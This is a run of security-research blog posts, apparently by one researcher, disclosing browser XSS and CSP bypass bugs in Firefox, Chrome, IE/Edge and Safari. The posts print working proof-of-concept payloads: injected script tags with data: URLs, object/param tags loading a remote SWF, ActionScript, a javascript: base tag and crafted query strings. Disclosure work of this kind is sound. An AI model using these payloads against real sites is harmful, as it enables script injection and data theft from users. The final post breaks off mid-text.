A mechanism to bypass Content Security Policy (CSP) protections on sites that have a script-src policy of 'strict-dynamic'. If a target website contains an HTML injection flaw an attacker could inject a reference to a copy of the require.js library that is part of Firefox’s Developer Tools, and then use a known technique using that library to bypass the CSP restrictions on executing injected scripts.</blockquote>
<br />
<h3>
What is the "strict-dynamic"?</h3>
<div>
<br /></div>
<div>
<div>
<div>
maybe you should read CSP spec :) <a href="https://www.w3.org/TR/CSP3/#strict-dynamic-usage">https://www.w3.org/TR/CSP3/#strict-dynamic-usage</a></div>
<div>
But for practicing writing in English, I'll explain about strict-dynamic. If you know about strict-dynamic, you don't have to read this section.</div>
</div>
<div>
<br /></div>
<div>
The well-known CSP restricts the loading of resources by whitelisting domains.</div>
<div>
For example, the following CSP setting allows to load JavaScript only from its own origin and <i>trusted.example.com</i>:</div>
</div>
<blockquote class="tr_bq">
Content-Security-Policy: script-src 'self' trusted.example.com</blockquote>
<div>
Thanks to this CSP, even if the page has an XSS vulnerability, the page is prevented to execute JavaScript from the inline scripts or JavaScript file of evil.example.org. It looks safe enough, however, if <i>trusted.example.com</i> has any scripts for bypassing CSP, it is still possible to execute JavaScript. More specifically, if <i>trusted.example.com</i> has a JSONP endpoint, it might be bypassed, like this:</div>
<blockquote class="tr_bq">
<script src="//trusted.example.com/jsonp?callback=alert(1)//"></script></blockquote>
<div>
If this endpoint reflects the user input passed to the callback parameter to the callback function name directly, it can be used as an arbitrary script as follows:</div>
<blockquote class="tr_bq">
alert(1)//({});</blockquote>
<div>
In additon, <a href="https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22#127-bytes">it is known</a> that AngularJS also can be used for bypassing CSP. This bypass possibility becomes more realistic, especially if domains hosting many JavaScript files, such as CDN, are allowed.</div>
<div>
<br /></div>
<div>
That way, in the whitelist, it is sometimes difficult to operate the CSP safely. To resolve this problem, strict-dynamic was designed. This is the example of usage:</div>
<blockquote class="tr_bq">
Content-Security-Policy: script-src 'nonce-secret' 'strict-dynamic'</blockquote>
<div>
This CSP means that the whitelist will be disabled and only scripts having the "secret" string in the nonce attribute will load.</div>
<blockquote class="tr_bq">
<!-- This will load --><br />
<script src="//example.com/assets/A.js" nonce="secret"></script><br />
<br />
<!-- This will not load --><br />
<script src="//example.com/assets/B.js"></script></blockquote>
<div>
<div>
The <i>A.js</i> might want to load and use another JavaScript. To allow this, the CSP spec permits to load without the proper nonce attribute if the js having the proper nonce loads an another js in specific conditions. With the word written in the spec, the non-"parser-inserted" script element can be allowed to execute JavaScript.</div>
</div>
<div>
<div>
<br /></div>
<div>
Below are concrete examples of what type of JavaScript are permitted:</div>
</div>
<blockquote class="tr_bq">
/* A.js */<br />
<br />
//This will load<br />
var script=document.createElement('script');<br />
script.src='//example.org/dependency.js';<br />
document.body.appendChild(script);<br />
<br />
//This will not load<br />
document.write("<scr"+"ipt src='//example.org/dependency.js'></scr"+"ipt>");</blockquote>
<div>
<div>
When loading using <code>createElement()</code>, it's a non-"parser-inserted" script element and the loading is allowed. On the other hand, when loading using <code>document.write()</code>, it is a "parser-inserted" script element and it is not loaded.</div>
<div>
<div>
<br /></div>
<div>
<div>
Up to this point, I explained about strict-dynamic roughly.</div>
<div>
<br /></div>
<div>
By the way, the strcit-dynamic is bypassable in some cases. In the next, I'll introduce about a known strict-dynamic bypass.</div>
</div>
<div>
<br /></div>
<div>
<h3>
Known strict-dynamic bypass</h3>
</div>
<div>
<br /></div>
<div>
It is known that strict-dynamic also can be bypassed if a specific library is used in the target page.</div>
<div>
<br /></div>
<div>
By Google's Sebastian Lekies, Eduardo Vela Nava, and Krzysztof Kotowicz, affected libraries are listed here:</div>
<div>
<a href="https://github.com/google/security-research-pocs/tree/master/script-gadgets">https://github.com/google/security-research-pocs/blob/master/script-gadgets/bypasses.md</a></div>
<div>
<br /></div>
<div>
<div>
Let's look into the strict-dynamic bypass of require.js on this list.</div>
</div>
<div>
<div>
Let's say the target page uses CSP with strict-dynamic, loads require.js and has a simple XSS. In this situation, if the following script element is inserted, an attacker can execute arbitrary JavaScript without the proper nonce.</div>
</div>
<div>
<blockquote class="tr_bq">
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'"><br />
<!-- XSS START --><br />
<script data-main=<span style="background-color: yellow;"><b>"data:,alert(1)"</b></span>></script><br />
<!-- XSS END --><br />
<script nonce="secret" src="require.js"></script></blockquote>
</div>
<div>
When the require.js finds a script element with a <code>data-main</code> attribute, it loads a script specified in the <code>data-main</code> attribute from the equivalent code as below:</div>
<div>
<blockquote class="tr_bq">
var node = document.createElement('script');<br />
node.src = 'data:,alert(1)';<br />
document.head.appendChild(node);</blockquote>
As described before, the strict-dynamic is allowed to load JavaScript from <code>createElement()</code> without the proper nonce.<br />
<br />
That way, you can bypass the CSP strict-dynamic in some cases using the behavior of already loaded JavaScript code.<br />
<br />
Firefox's vulnerability was caused by this behavior of require.js.<br />
In the next section, I'll explain the vulnerability.<br />
<br /></div>
<h3>
Universal strict-dynamic bypass(CVE-2018-5175)</h3>
<div>
<br /></div>
<div>
Firefox implements some browser features using legacy extensions. The legacy extensions means XUL/XPCOM-based extensions that was removed in Firefox 57, not WebExtensions. Even on the latest Firefox 60, the browser internals still uses this mechanism.</div>
<div>
<br />
In this bypass, we use a resource of the legacy extension which is used in browser internals. In WebExtensions, by setting a <a href="https://developer.mozilla.org/en/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a> key in the manifest, the listed resources become accessible from any web pages. The legacy extension has a similar option named <a href="https://developer.mozilla.org/ja/docs/Mozilla/Chrome_Registration#contentaccessible">contentaccessible flag</a>. In this bypass, it could be used for bypassing CSP because a require.js of browser's internal resource was accessible from any web pages due to the <o><i>contentaccessible=yes</i> flag.</o></div>
<div>
<br /></div>
<div>
Let's look into the manifest. If you are using 64bit Firefox on Windows, you can see the manifest from the following URL:</div>
<div>
<br /></div>
<div>
jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/chrome.manifest</div>
<div>
<blockquote class="tr_bq nowrap">
content branding browser/content/branding/ contentaccessible=yes<br />
content browser browser/content/browser/ contentaccessible=yes<br />
skin browser classic/1.0 browser/skin/classic/browser/<br />
skin communicator classic/1.0 browser/skin/classic/communicator/<br />
content webide webide/content/<br />
skin webide classic/1.0 webide/skin/<br />
content devtools-shim devtools-shim/content/<br />
content devtools devtools/content/<br />
skin devtools classic/1.0 devtools/skin/<br />
locale branding ja ja/locale/branding/<br />
locale browser ja ja/locale/browser/<br />
locale browser-region ja ja/locale/browser-region/<br />
locale devtools ja ja/locale/ja/devtools/client/<br />
locale devtools-shared ja ja/locale/ja/devtools/shared/<br />
locale devtools-shim ja ja/locale/ja/devtools/shim/<br />
locale pdf.js ja ja/locale/pdfviewer/<br />
overlay chrome://browser/content/browser.xul chrome://browser/content/report-phishing-overlay.xul<br />
overlay chrome://browser/content/places/places.xul chrome://browser/content/places/downloadsViewOverlay.xul<br />
overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul<br />
overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul<br />
override chrome://global/content/license.html chrome://browser/content/license.html<br />
override chrome://global/content/netError.xhtml chrome://browser/content/aboutNetError.xhtml<br />
override chrome://global/locale/appstrings.properties chrome://browser/locale/appstrings.properties<br />
override chrome://global/locale/netError.dtd chrome://browser/locale/netError.dtd<br />
override chrome://mozapps/locale/downloads/settingsChange.dtd chrome://browser/locale/downloads/settingsChange.dtd<br />
resource search-plugins chrome://browser/locale/searchplugins/<br />
resource usercontext-content browser/content/ contentaccessible=yes<br />
resource pdf.js pdfjs/content/<br />
<span style="background-color: yellow;">resource devtools devtools/modules/devtools/<br />resource devtools-client-jsonview resource://devtools/client/jsonview/ contentaccessible=yes</span><br />
resource devtools-client-shared resource://devtools/client/shared/ contentaccessible=yes</blockquote>
</div>
<div>
The yellow part is the part that makes the file accessible from any web sites. These two lines are for creating a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Chrome_Registration#resource"><i>resource:</i> URI</a>. The <code>resource devtools devtools/modules/devtools/</code> of first line is mapping <i>devtools/modules/devtools/</i> directory ( It exists on <i>jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/devtools/modules/devtools/</i> ) to <i>resource://devtools/</i> .</div>
<div>
We can now access files under the directory by opening <i>resource://devtools/</i> using Firefox. Likewise, the next line is mapping to <i>resource://devtools-client-jsonview/</i>. This URL becomes web-accessible by the <i>contentaccessible=yes</i> flag and we can now load the files placed under this directory from any web pages.</div>
<div>
</div>
<div>
This directory has a require.js which is used for bypassing CSP. Just loading this require.js to the page where the CSP strict-dynamic is used, you can bypass strict-dynamic.</div>
<div>
<div>
<br /></div>
<div>
The actual bypass is as follows:<br />
<br />
<a href="https://vulnerabledoma.in/fx_csp_bypass_strict-dynamic.html">https://vulnerabledoma.in/fx_csp_bypass_strict-dynamic.html</a></div>
</div>
<blockquote class="tr_bq">
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'"><br />
<!-- XSS START --><br />
<script data-main="data:,alert(1)"></script><br />
<script src="resource://devtools-client-jsonview/lib/require.js"></script><br />
<!-- XSS END --></blockquote>
</div>
<div>
<div>
From this code, <i>data:</i> URL will be loaded as a JavaScript resource and it will pop up an alert dialog. </div>
<div>
<br /></div>
<div>
You might think, "Hmm, why is the require.js loaded? It should be blocked by CSP because the script element does not have the proper nonce."</div>
<div>
<br /></div>
<div>
Actually, no matter how strictly you set CSP rules, the web-accessible resources of the extension is loaded ignoring the CSP. This behavior is mentioned in the CSP spec:</div>
<div>
<br /></div>
<div>
<a href="https://www.w3.org/TR/CSP3/#extensions">https://www.w3.org/TR/CSP3/#extensions</a></div>
<blockquote class="tr_bq">
Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].</blockquote>
<div>
<div>
Firefox's <i>resource:</i> URI also had this rule. Thanks to this, users can use the extension's features as expected even on the page where the CSP is set, but on the other hand, this privilege sometimes can be used for bypassing the CSP, like this bug's case.</div>
<div>
Of course, this issue is not limited to browser internal resources. Even on general browser extensions, the same thing happens if there are web-accessible resources that can be used for bypassing CSP.</div>
</div>
<div>
<br /></div>
<div>
It seems that Firefox folks fixed this bug by applying page's CSP to the <i>resource:</i> URI.</div>
<div>
<br /></div>
<h3>
In the end of article</h3>
<div>
<br /></div>
<div>
I wrote about a CSP strict-dynamic bypass vulnerability of Firefox.</div>
<div>
<div>
<br /></div>
<div>
FYI, I found this issue when I was looking for another solution of <a href="https://github.com/cure53/XSSChallengeWiki/wiki/CNY-Challenge-2018">Cure53 CNY XSS Challenge 2018</a>'s third level which I made. In this challenge, I used another trick to bypass strict-dynamic. Please check it if you are interested.</div>
<div>
<br /></div>
<div>
Also, I created a <a href="https://twitter.com/kinugawamasato/status/984014228469280768">different version of this XSS Challenge</a> and I'm still waiting your answer :)</div>
</div>
</div>
</div>
<div>
<br /></div>
<div>
Lastly, I'd like to thank Google's research which made me notice this bug. Thank you!</div>
Unknownnoreply@blogger.com65tag:blogger.com,1999:blog-3090823890722032925.post-49119851487877235452016-12-27T04:01:00.000-08:002016-12-27T04:01:47.359-08:00XSS Auditor bypass using obscure <param> tagHi there!<br />
I just found an XSS Auditor bypass by accident when I read Chromium's code for the another reason.<br />
In this short post, I'd like to share this bypass. I confirmed that it works on Chrome Canary 57.<br />
I have already reported here: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=676992">https://bugs.chromium.org/p/chromium/issues/detail?id=676992</a><br />
<br />
The bypass is:<br />
<br />
<a href="https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E">https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E</a><br />
<blockquote class="tr_bq">
<object allowscriptaccess=always><br />
<param name=url value=https://l0.cm/xss.swf></blockquote>
Also it works:<br />
<br />
<a href="https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E">https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E</a><br />
<blockquote class="tr_bq">
<object allowscriptaccess=always><br />
<param name=code value=https://l0.cm/xss.swf></blockquote>
<div>
I didn't know that Chrome supports such params until I found it in the <i>HTMLObjectElement.cpp</i>:</div>
<div>
<blockquote class="tr_bq">
if (url.isEmpty() && urlParameter.isEmpty() &&<br />
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||<br />
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))<br />
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());</blockquote>
The <code><param name="src" value="//attacker/xss.swf"></code> and <code><param name="movie" value="//attacker/xss.swf"></code> are blocked by XSS Auditor. But I noticed that <code>code</code> and <code>url</code> are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)<br />
<br />
That's it. I wrote about XSS Auditor bypass using <code><param></code>. Thanks for reading!</div>
Unknownnoreply@blogger.com20tag:blogger.com,1999:blog-3090823890722032925.post-67159743409884465252016-10-06T22:37:00.000-07:002016-10-06T23:05:08.334-07:00XSS via Referrer After Anniversary UpdateSince the Windows 10 anniversary update, it seems that Microsoft killed some XSS tricks on IE11/Edge. The referrer behavior is one of them.<br />
<div>
<br /></div>
<div>
The following page writes the <code>HTTP_REFERER</code> and <code>document.referrer</code> directly:<br />
<a href="https://vulnerabledoma.in/xss_referrer">https://vulnerabledoma.in/xss_referrer</a></div>
<br />
Previously IE/Edge did not encode the <code>"<></code> characters in the referrer string. So, we could XSS on that page from the following PoC:<br />
<a href="javascript:void(location='https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>')">https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script></a><br />
<br />
But since the Windows 10 anniversary update, IE11/Edge encodes it. You will get the following encoded string from that page:<br />
<blockquote class="tr_bq">
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?<span style="background-color: yellow;">%3Cscript%3Ealert(%221%22)%3C/script%3E</span><br />
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?<span style="background-color: yellow;">%3Cscript%3Ealert(%221%22)%3C/script%3E</span></blockquote>
Too bad!<br />
Of course, we can still use Win8.1/7 IE11. But also we want to XSS on Win10, don't you? :D<br />
<br />
Today, I would like to introduce a small technique, XSS using the referrer on latest Win10 Edge/IE11.<br />
<br />
The technique is very simple. You can easily include <code>"<></code> string into the referrer if you send the request from Flash's <code>navigateToURL()</code> method, like this:<br />
<br />
<a href="javascript:void(location='https://l0.cm/xss_referrer.swf?<script>alert(1)</script>')">https://l0.cm/xss_referrer.swf?<script>alert(1)</script></a><br />
<br />
The ActionScript code is here:<br />
<blockquote class="tr_bq">
package {<br />
import flash.display.Sprite;<br />
import flash.net.URLRequest;<br />
import flash.net.navigateToURL;<br />
public class xss_referrer extends Sprite{<br />
public function xss_referrer() {<br />
var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");<br />
navigateToURL(url, "_self");<br />
}<br />
}<br />
}</blockquote>
As you can see the access result, we can XSS via the <code>Referer</code> request header. But sadly, we cannot XSS via the <code>document.referrer</code> property because it becomes empty. Dang :p<br />
<br />
FYI, also I can reproduce it via the <a href="http://wwwimages.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf#page=345">submitForm() method</a> of JavaScript for Acrobat API.<br />
<br />
I confirmed it on Win10 IE11 with Adobe Reader plugin.<br />
<br />
PoC is here:<br />
<a href="javascript:void(location='https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>')">https://l0.cm/xss_referrer.pdf?<script>alert(1)</script></a><br />
<br />
It seems that the request via plugins is not considered.<br />
<br />
That's it. It might be helpful in some cases :)<br />
Thanks!Unknownnoreply@blogger.com16tag:blogger.com,1999:blog-3090823890722032925.post-48074372521889090642016-09-25T04:14:00.000-07:002016-09-25T04:46:25.082-07:00CVE-2016-4758: UXSS in Safari's showModalDialogI would like to share about details of Safari's UXSS bug(CVE-2016-4758). This bug was fixed in Safari 10.<br />
<br />
<a href="https://support.apple.com/en-us/HT207157">https://support.apple.com/en-us/HT207157</a><br />
<blockquote class="tr_bq">
WebKit<br />
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12<br />
Impact: Visiting a maliciously crafted website may leak sensitive data<br />
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.<br />
CVE-2016-4758: Masato Kinugawa of Cure53</blockquote>
FYI, Mobile Safari is not vulnerable because it does not have the <code>showModalDialog</code> method.<br />
<h2>
Preconditions for Attack</h2>
<div>
To attack using this bug, we need two conditions:</div>
<div>
<ol>
<li>The target page navigates to the relative URL using JavaScript. (e.g. <code>location="/"</code>,<code>window.open("/","_blank")</code>)</li>
<li>That navigation is done after the completion of the page loading.</li>
</ol>
</div>
<div>
<br /></div>
<div>
I created the page that satisfies it:<br />
<br /></div>
<div>
<a href="https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html">https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html</a></div>
<div>
<blockquote class="tr_bq">
<script><br />
function go_top(){<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>location="/index.html";<br />
}<br />
</script><br />
<button onclick=go_top()>Top Page</button></blockquote>
</div>
<br />
This page's only purpose is that navigates to <a href="https://vulnerabledoma.in/index.html">https://vulnerabledoma.in/index.html</a> when the user click the "Top Page" button.<br />
I think there are pages like that everywhere. But using this bug, we can do XSS attack in this conditions.<br />
<h2>
The Bug</h2>
<div>
Now, let's use the <code>showModalDialog</code> method.</div>
<div>
The following page only opens the target page in a modal dialog:</div>
<div>
<br /></div>
<div>
<a href="https://l0.cm/safari_uxss_showModalDialog/example.html">https://l0.cm/safari_uxss_showModalDialog/example.html</a><br />
<blockquote class="tr_bq">
<script><br />
function go(){<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");<br />
}<br />
</script><br />
<button onclick=go()>go</button></blockquote>
</div>
<div>
What will happen when we click the "Top Page" button in the modal dialog? Needless to say, we will go to <a href="https://vulnerabledoma.in/index.html">https://vulnerabledoma.in/index.html</a>. But Safari was different. Surprisingly, Safari navigated to <span style="background-color: yellow;">https://l0.cm/</span>index.html. Obviously, Safari mistakes the parent window's base URL for the modal window's base URL.<br />
<br />
(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the <code><a></code> tag and <code>xhr.open("GET",[URL])</code> used the correct URL. )</div>
<h2>
Developing XSS attacks</h2>
According to <a href="https://html5sec.org/#42">html5sec.org #42</a>, Safari allows to set the <code>javascript:</code> URL to the base tag. So, I thought that I might be able to XSS if I set the <code>javascript:</code> URL to the base tag in the parent page.<br />
<br />
And my assumption was correct. This is final PoC:<br />
<br />
<div>
<a href="https://l0.cm/safari_uxss_showModalDialog/">https://l0.cm/safari_uxss_showModalDialog/</a></div>
<blockquote class="tr_bq">
<!DOCTYPE html><br />
<html><br />
<head><br />
<base href="<span style="background-color: yellow;">javascript://%0Aalert%28document.domain%29%2F/</span>"><br />
</head><br />
<body><br />
<script><br />
function go(){<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");<br />
}<br />
</script><br />
<button onclick=go()>go</button><br />
</body><br />
</html></blockquote>
If it goes well, you can see an alert dialog when you click "Top Page" button, like the following screen shot:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMo3HneUo30_N04OilZuEnhPEPxPkZoa8vx-G9e-wycljM9GXTqYaM3RmMH-zMr8mBg4wla4LlXRv5fJ6LiGXjG2OXvWiL0HQ-yzjlGmtJQUCRF77Aib8bbkKC_98Gb2v7LXJhn10B2fE/s1600/uxss_smd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="508" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMo3HneUo30_N04OilZuEnhPEPxPkZoa8vx-G9e-wycljM9GXTqYaM3RmMH-zMr8mBg4wla4LlXRv5fJ6LiGXjG2OXvWiL0HQ-yzjlGmtJQUCRF77Aib8bbkKC_98Gb2v7LXJhn10B2fE/s640/uxss_smd.png" width="640" /></a></div>
<br />
Yay!<br />
<h2>
Conclusion</h2>
I wrote about Safari's UXSS bug. I reported this bug on June 15, 2015. This bug was living in WebKit for over a year after I reported.<br />
<br />
If I find interesting bug, I'll share again :D Thanks!Unknownnoreply@blogger.com322tag:blogger.com,1999:blog-3090823890722032925.post-45948904730993328922016-07-15T07:10:00.000-07:002016-07-15T07:37:27.815-07:00Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)<div>
In the past, I talked about XSS attacks exploiting IE XSS filter in CODE BLUE, which is an information security conference in Japan. A similar bug is fixed in <a href="https://technet.microsoft.com/en-us/library/security/ms16-063.aspx#ID0EFUAE">June patch</a> as CVE-2016-3212.<br />
So, in this post, I would like to explain details of this bug.<br />
<br />
As described in <a href="http://www.slideshare.net/masatokinugawa/xxn-en">my slides</a>, applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the <code>.</code> with the <code>#</code> even if the page does not have an XSS bug.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPJNNZStdaR8tGeR-RwdIa2GWTb_N1MeSKANUKoPPtpOXMj7QuNNheq5BdvOAbg5MJd1_Tb7O2k-XNFz2BmOjRrH-3LWtF7qcduQi_g66DREfYcMNK3nw_Yo4D6fDxDfcTgM45wcDzOKs/s1600/ex4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPJNNZStdaR8tGeR-RwdIa2GWTb_N1MeSKANUKoPPtpOXMj7QuNNheq5BdvOAbg5MJd1_Tb7O2k-XNFz2BmOjRrH-3LWtF7qcduQi_g66DREfYcMNK3nw_Yo4D6fDxDfcTgM45wcDzOKs/s400/ex4.png" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFFFp75pi3Vpo-B-vkuunXMN6o8j-f8vdYgflTito4_SbetTqjKlxGUDHUyGS5YWM4IMOuPpUekbZzQwOMK9_XldCqv3lxThdH6cuK1_Y4RWdX9lXvAsgPtkOGfyIV1OFZXhR5sAr480A/s1600/ex5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFFFp75pi3Vpo-B-vkuunXMN6o8j-f8vdYgflTito4_SbetTqjKlxGUDHUyGS5YWM4IMOuPpUekbZzQwOMK9_XldCqv3lxThdH6cuK1_Y4RWdX9lXvAsgPtkOGfyIV1OFZXhR5sAr480A/s400/ex5.png" width="400" /></a></div>
<br />
<br />
To prevent such attacks, Microsoft changed the filter behavior by December 2015 patch. After this patch, the <code>^</code> is used as the replacement character of the <code>.</code> instead of the <code>#</code>. Indeed, this can prevent attacks above. But it brought another nightmare. After several months, I confirmed an XSS using this behavior in Google's domain, and I got $3133.7 as rewards through <a href="https://www.google.com/about/appsecurity/chrome-rewards/">Google VRP</a>.<br />
<br />
Google sets <code>X-XSS-Protection: 1;mode=block</code> header in almost their services. But not all. So, I checked carefully some pages which have no <code>mode=block</code>. As a result, I discovered that the vulnerable page exists in Javadoc on cloud.google.com.<br />
<br />
I put the approximate copy:<br />
<br />
<a href="http://vulnerabledoma.in/xxn/xss_javadoc.html">http://vulnerabledoma.in/xxn/xss_javadoc.html</a><br />
<br />
This page becomes vulnerable to XSS when one <code>.</code> is replaced with the <code>^</code> by the XSS filter.<br />
Can you find where it is?<br />
<br />
The answer is the <code>.</code> of the yellow part:<br />
<blockquote class="tr_bq">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"><br />
<!-- NewPage --><br />
<html lang="en"><br />
<head><br />
<title>javadoc</title><br />
<script type="text/javascript"><br />
targetPage = "" + window.location.search;<br />
if (targetPage != "" && targetPage != "undefined")<br />
targetPage = targetPage.substring(1);<br />
if (<span style="background-color: yellow;">targetPage.indexOf</span>(":") != -1 || (targetPage != "" && !validURL(targetPage)))<br />
targetPage = "undefined";<br />
function validURL(url) {<br />
try {<br />
url = decodeURIComponent(url);<br />
}<br />
catch (error) {<br />
return false;<br />
}<br />
var pos = url.indexOf(".html");<br />
if (pos == -1 || pos != url.length - 5)<br />
return false;<br />
var allowNumber = false;<br />
var allowSep = false;<br />
var seenDot = false;<br />
for (var i = 0; i < url.length - 5; i++) {<br />
var ch = url.charAt(i);<br />
if ('a' <= ch && ch <= 'z' ||<br />
'A' <= ch && ch <= 'Z' ||<br />
ch == '$' ||<br />
ch == '_' ||<br />
ch.charCodeAt(0) > 127) {<br />
allowNumber = true;<br />
allowSep = true;<br />
} else if ('0' <= ch && ch <= '9'<br />
|| ch == '-') {<br />
if (!allowNumber)<br />
return false;<br />
} else if (ch == '/' || ch == '.') {<br />
if (!allowSep)<br />
return false;<br />
allowNumber = false;<br />
allowSep = false;<br />
if (ch == '.')<br />
seenDot = true;<br />
if (ch == '/' && seenDot)<br />
return false;<br />
} else {<br />
return false;<br />
}<br />
}<br />
return true;<br />
}<br />
function loadFrames() {<br />
if (targetPage != "" && targetPage != "undefined")<br />
top.classFrame.location = top.targetPage;<br />
}<br />
</script><br />
</head><br />
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()"><br />
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()"><br />
<frame src="/" name="packageListFrame" title="All Packages"><br />
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)"><br />
</frameset><br />
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes"><br />
<noframes><br />
<noscript><br />
<div>JavaScript is disabled on your browser.</div><br />
</noscript><br />
<h2>Frame Alert</h2><br />
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p><br />
</noframes><br />
</frameset><br />
</html></blockquote>
In the <code><script></code>, it checks whether the given string via <code>location.search</code> is safe.<br />
For example, the following unsafe URL is blocked:<br />
<br />
<a href="http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)">http://vulnerabledoma.in/xxn/xss_javadoc.html?<b>javascript:alert(1)</b></a><br />
<br />
Then, what will happen when the <code>.</code> of the yellow part is replaced with the <code>^</code>?<br />
<br />
Let's actually try it. If you put the following strings in the target URL, the page content is forcibly matched to XSS filter rules, and we can replace the aimed <code>.</code> with the <code>^</code>:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrHp0ta0tV4wwmkKrdpMWz9beo5U9qDHAKCT6MSutvGynrEs9VZ9K98AGRqPQlr3vjlGh2gz7ve-zDjCwneKsm86U-WNz2fXKIG3b0fj7BX_AzOSI37wKeLvjqP-rxAwLF_UdHErFUG2c/s1600/xxn_javadoc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrHp0ta0tV4wwmkKrdpMWz9beo5U9qDHAKCT6MSutvGynrEs9VZ9K98AGRqPQlr3vjlGh2gz7ve-zDjCwneKsm86U-WNz2fXKIG3b0fj7BX_AzOSI37wKeLvjqP-rxAwLF_UdHErFUG2c/s400/xxn_javadoc.png" width="400" /></a></div>
<br />
You can reproduce this bug from the following URL using IE/Edge which does not have June 2016 patch:<br />
<br />
<a href="http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//%22++++++++++++.i+++=">http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//<b>"++++++++++++.i+++=</b></a><br />
<br />
Also I put the replaced page for you who already applied the patch. You can confirm same behavior:<br />
<div>
<br />
<a href="http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)">http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)</a><br />
<div>
<br />
A crucial difference from <code>#</code> and <code>^</code>, the <code>#</code> is not the operator in JavaScript, but the <code>^</code> is the operator. For example, if the <code>a.b;</code> is in the page and it is replaced with <code>#</code> and <code>^</code>, <code>a#b;</code> is the syntax error but <code>a^b;</code> is valid syntax. It brings an XSS bug.</div>
</div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
